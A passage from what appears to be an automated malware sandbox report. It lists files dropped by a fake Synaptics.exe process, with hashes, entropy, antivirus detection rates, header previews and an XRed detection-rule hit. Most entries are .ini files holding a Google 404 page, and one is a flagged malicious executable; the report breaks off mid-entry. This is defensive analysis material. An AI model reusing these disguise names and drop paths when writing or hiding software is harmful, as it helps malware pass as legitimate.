SHA-256:	C79ED70E47990280B90BDC01049AF041B331E1559CFC34D3721B5AAB3E0A75D1
SHA-512:	CD8F0FB24B6E390249049507684C4C84D57A4C4BE9C5260C41A64C7B875D71FCE925582286A9D409D97797B33C2643F87EEA264505CB2103D20EAD6C82657B6A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M.b.............z.......z......z.......[.......z..............[...I...[...(........................Rich....................PE..L...s"&g.....................v......,:.......0....@.......................................@.................................xG..<...............................L......p...........................0...@............0...............................text............................... ..`.rdata.."...0...$..................@..@.data...@ ...`.......@..............@....rsrc................R..............@..@.reloc..L*.......,...V..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2RStle9.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.273203980263387
Encrypted:	false
SSDEEP:	24:GgsF+0s3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+l3+pAZewRDK4mW
MD5:	8CA1CF9BB4FE5D88CE2BBA4443220FA4
SHA1:	139B895553101081BFAE90BC885660D1FF101DAE
SHA-256:	F4FC725B04422A7B82F27DA7B7835509009F6665F8374388D0D8D84B7BDDE41C
SHA-512:	2FB06CD4AFDBB2A0EA6C050607442AFBDF127AB8EBF7C9C2FDC72C5E08CA5C6575BD74AACB654CF6DC78605A412B0A307BC49CFB1ECBC3D5388B2ADCCF1A317B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="K3FZvD9JRzRqmT3VMUe5hg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\2Vb7t4x.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261971062567085
Encrypted:	false
SSDEEP:	24:GgsF+0OSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+J+pAZewRDK4mW
MD5:	679D57E975BE7A6428B1C94CBD84942C
SHA1:	968FCB7C28722E0CAACF221D939C2F54B2329D94
SHA-256:	C6C41E3A2DC9AADD65E5580C4F2958D5BE53B9483BA1E87A50D2367B9F7DF563
SHA-512:	1FF7A756F9DA3E5E3B2CEA52D1BD07C49EB49289BF555C830A8EC9126B50BE31A50893AFBCCEC218EAA9C0C5C3818493EE2E1FDA1BABA9EFF13370E27DB8374C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="-tKN0EF48nizPHQTrG5v5Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\2r1QbJG.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270120256784393
Encrypted:	false
SSDEEP:	24:GgsF+0dSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+S+pAZewRDK4mW
MD5:	DA6880C2A5A6A91FD0AF4C7C39CA7D40
SHA1:	9CE844C52796BE0D3621E5EF44B4BF4367B691C0
SHA-256:	1E7572B94D7E73BB9D07F4BD498B1C795C22351BAE47E1A52AA6EE9255B489B2
SHA-512:	EBA2993C69F9196B31391F7B4714FEFE4F822845DF334F3122B8C7798B1812CEA66E7C299949FD382AC75DE9D12D9836EAB20F370EDB826E9604ED4C8F0D79F9
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5LX114WFENJOoWOOMjTd0w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\39ssRfG.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270606108307858
Encrypted:	false
SSDEEP:	24:GgsF+0amSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Bm+pAZewRDK4mW
MD5:	5D3473621A482F45A2571AD0715F492D
SHA1:	104D4F5B3A7AFD434B1D36093AF809CE0A05221D
SHA-256:	A8875163383718253D3B5B8339F45853FA7A1301F180C8A9B40DB1E8BF0189E1
SHA-512:	2A1F61A1E92AB7F932F8475F9BDB64FB21E651557DD9C1D6B7D1E5B3C98E05E631190438F15C051AC5A1D91610412E4251DA9C1B364B7B13DCB12951323A8B73
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="hwzVFAHkgvRXKc_WXAe3TA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\3CNKHu3.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.277943304180871
Encrypted:	false
SSDEEP:	24:GgsF+0cSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+j+pAZewRDK4mW
MD5:	A817F9BC37CD77CD34DB37DC2A525ED7
SHA1:	ED0F117809C9DE1DCAD69968C6B6504581316F7B
SHA-256:	7CD5CCF3D7229B2C7D0BECBEB146A26281CFBAAA768D5546C16F821D650EF32B
SHA-512:	F3E2F0B4592BF6E61CE35FDAFCD5B0358F159434AC43E9B526FD316CB1507812F27A69EB830E8C5DC556CBB1A4A1E38AA93CB7B7E9B0CD05894DE22F9256E657
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ZJUCm0qoJUs_YVXH7OtS8A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\3ipkFTL.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267443150656909
Encrypted:	false
SSDEEP:	24:GgsF+0ISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+j+pAZewRDK4mW
MD5:	ABE9D561F642ABE915B3DFF876450328
SHA1:	DB4A273E8AB12D8F74CC785921ABC5B190E82007
SHA-256:	9473FE25EFD05AF9D0C0E0209D4789C9F02F212A3DF539AD1BE1AB464704F22B
SHA-512:	651E99AAAED540582C949350F7F6D33CDCEB49AF54C0D8175FE960EAE75DF1DE4C87316F3641209AEF01614DA69432CB1C49234FCA54A987B870B9EE22EC66C4
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="b_R1NyTvwD6TOJf7LihQhA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\3mbO71B.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2556410872667865
Encrypted:	false
SSDEEP:	24:GgsF+0ouSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Fu+pAZewRDK4mW
MD5:	60EF4F4F8D61005D42BD3FA2E8E217E5
SHA1:	6FBC67E56D826036B145CBFF4EDB84AB94F83F5E
SHA-256:	882802814430AED0D677706A33854BDCF5ADADAA367F1A7EE89C4915AC96C2F9
SHA-512:	DC9F02D7DEA317D6331BFEFDA59143AA61FEA253520373DB5F1060F9ED0B0AF22CC8A47D7CEF53E7D1C8A9550E58C1F3FEFC21B4A3CBA3D26EDBDE0FBF0EB28D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="3dsqWY2xiRmv0dkaKWWoLQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\3sRekY3.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.274838348768225
Encrypted:	false
SSDEEP:	24:GgsF+04YbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+1Yb+pAZewRDK4mW
MD5:	1055D61CB257D48B1440A49CC002AE10
SHA1:	01EC05D44579DDC3E637701546797E17B1C51E51
SHA-256:	77B7DC89FAC54730240F6B5C9CBC2F243F7852A13D77F076D5C0A2A7212E8687
SHA-512:	A6B6DDC045290B4AF78C5B6CA2E56281CD7CB436AA2CD8F79E29C6831AAA433C90A2E8971A6115615E9FA0511C9A112498F3FCDB0BB91FCA7346A3B592E970AA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cDMwO24ARZKI9NYKOrdGIg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\4npNOHB.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26540468838451
Encrypted:	false
SSDEEP:	24:GgsF+0kSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+b+pAZewRDK4mW
MD5:	7E9E4B22429B496252D6811B189AEE88
SHA1:	DC5A7C1D9B82288404026025022C863DC3675D3A
SHA-256:	E70E09B96EA209E521417341A8615065EDE19D6F23C872209FBDD63C19236BA6
SHA-512:	DCE371EC881EE4566C87E933242F0D94779249F77E7CC8DEB84DA3314715C87BD2167AEDFC312B71D45E0A99AFA8EA85FC7A21EB610974FEF758768540A8B403
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Tm8f8TEbGUJ6FprCIB0Cmg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\52d96Va.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265260521904425
Encrypted:	false
SSDEEP:	24:GgsF+0ISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+D+pAZewRDK4mW
MD5:	B2ABD34FAD107F09C4B23989F16F70A6
SHA1:	296C99090526919C5BC9F17D8174F1D09E351596
SHA-256:	410A1D0810D2B12473AD5C6F6443D3A90F61A74D4265A071AB53C71F227DB489
SHA-512:	C27639C3AFE311EABB1FBD3D3B65083C5E9A66362E84004850977C9A8A48AD4F6C38D05EE5C0FC8118D9496E35485AD956EDAB70F07F1B49D3F30BDA15FF6566
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="lbzmW7CeJ8wMhkcVRwEGVQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\5oFu3i1.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268455934025075
Encrypted:	false
SSDEEP:	24:GgsF+03SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+I+pAZewRDK4mW
MD5:	3930D29591FFFCDAA4F7246B1234C37A
SHA1:	7FFB19E17A3D44276D96FFA5FA7165C45612D301
SHA-256:	FECEDA0CB5E4CE3F643FF4125390D7C2B5EDC459892C68D603245FA91A0B9D35
SHA-512:	C5AF548CB0C84E1BB2ADE91AB75AC74EDB52AAA6BDBDF040800ACD9AEC21EC52A7BE75ADCD943E6C813F46EEC0B1AA48CD88346EB932572908F6E1177B21FD84
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Yjz7kBeHUzb7wZq-E5Cqvw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\5oTzHWj.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.275893969943285
Encrypted:	false
SSDEEP:	24:GgsF+0BRzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK++Rz+pAZewRDK4mW
MD5:	CDB4E7EDFA49871AD83A067024E2D60D
SHA1:	7CB95ED100AC873BCB0BDE34E501C6A76FF21769
SHA-256:	874F0589C4678345399CF3CA37714FB5EDB489E2D8283091B8A0D16D78CF2818
SHA-512:	6F76F4CAAF6BAA7A79B954529BF4A81A25FDC6A35F6035058DF8405C58FB5F7CEB0875D8F6BEAD2AF3DC2C2A6303E476C5234F489075470143FC31D92A850E12
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6PSAfXPGA5pO0nLyMH8P9w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.626509498726225
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9IMr:ansJ39LyjbJkQFMhmC+6GD9H
MD5:	00367A9FAA8069389A97267D772563E8
SHA1:	1C5301544B6B3FC11B71B6A2EBBD1D40F193619E
SHA-256:	2B451F3AE3ABEE380824404CDF795090102D57D7D369D861EC3BDA35528F2DF0
SHA-512:	D31767C02686D40BC60BC7439D9708EC6D67A904AF12A150650174BFCC0C432E3C5A3DCA87710EB06E2FE97903805B7C01949274F9C9DE3EA05187F4DF457EB5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\6QWwVh6L.ico

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 colors
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	2.6716997814064625
Encrypted:	false
SSDEEP:	24:GIwewME/cE/xrnH+6666xF6666xf/b2Brw2Br4/RxhxkirrsirrnDvDeDx/XJ:FHIX5rnHQ/LcwcCrRDvDeDb
MD5:	30A1F328716B6782D8A033DC5004DDE5
SHA1:	C915B532DCB3DA2E851385867E31AAA89876278C
SHA-256:	46C4A5805F8028B15C826EDAAAF8C4C098F3640615BC9A4DC0C1A2288D02B0E7
SHA-512:	2A402C425053D32AF253AB979AD1465D2873EAFE1BDBA326562AB49AC39D63207960957449A7CCC233D011052A923D3EE29F57AF923A9106283ABB77C6BE39A6
Malicious:	false
Preview:	...... .............(... ...@..... .................................................T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...s...s...........................................T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...s...s...........................................b...b...b...b...b...b...a...a...Y...Y...T...T...b...b...b...b...b...b...b...b...................................................b...b...b...b...b...b...a...a...Y...Y...T...T...b...b...b...b...b...b...b...b..........................................................................................._..._..........................................................................................................................._..._...................................................................................................................................X...X.............................................................................................

C:\Users\user\AppData\Local\Temp\6pViA4e.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2561997912138105
Encrypted:	false
SSDEEP:	24:GgsF+0ATSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+FT+pAZewRDK4mW
MD5:	96D3F860B2F6D5A07964313FD5A3BD43
SHA1:	453EBC9C6A639C079DB575848B73C5F954A1B044
SHA-256:	66DE14787EFFFDD07B7F592B0B36E59BF1191C48C8521C71C60420319E80C64B
SHA-512:	002A211B2AD4E3ED6B96FBA63905066DAFCAEC4181ADB5A3014BD2B1A5421DDBF55E985A94D98B9B7580665EF903D08DA9E13B4B0874E38B1D2088E2D3DB2C80
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="POcULn4iLkQKsoTP0xUs9g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\8AkiuvF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.271074910702277
Encrypted:	false
SSDEEP:	24:GgsF+07tSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+a+pAZewRDK4mW
MD5:	C44F09C3B28EC2B9CA4D7D247EBC0883
SHA1:	1680AC2234927D6246A36262AD9A3DBD98D3A155
SHA-256:	DB857AC6C9793A5C6E43AC69E4D91BD58FDA6825C5D6C23784666426E7D328B9
SHA-512:	EFA174C29709A22DA0C8743CFAAFE68FF362E769985998655BACEB69D5092D36F76AFA855D6A176E2CA56570AD2E1BAD6307D9F88BA2E8ECA5A4032D20D20661
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="znWUkb1CQJ4ANsH-E1MrKQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\8j61ra1.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2636901298222325
Encrypted:	false
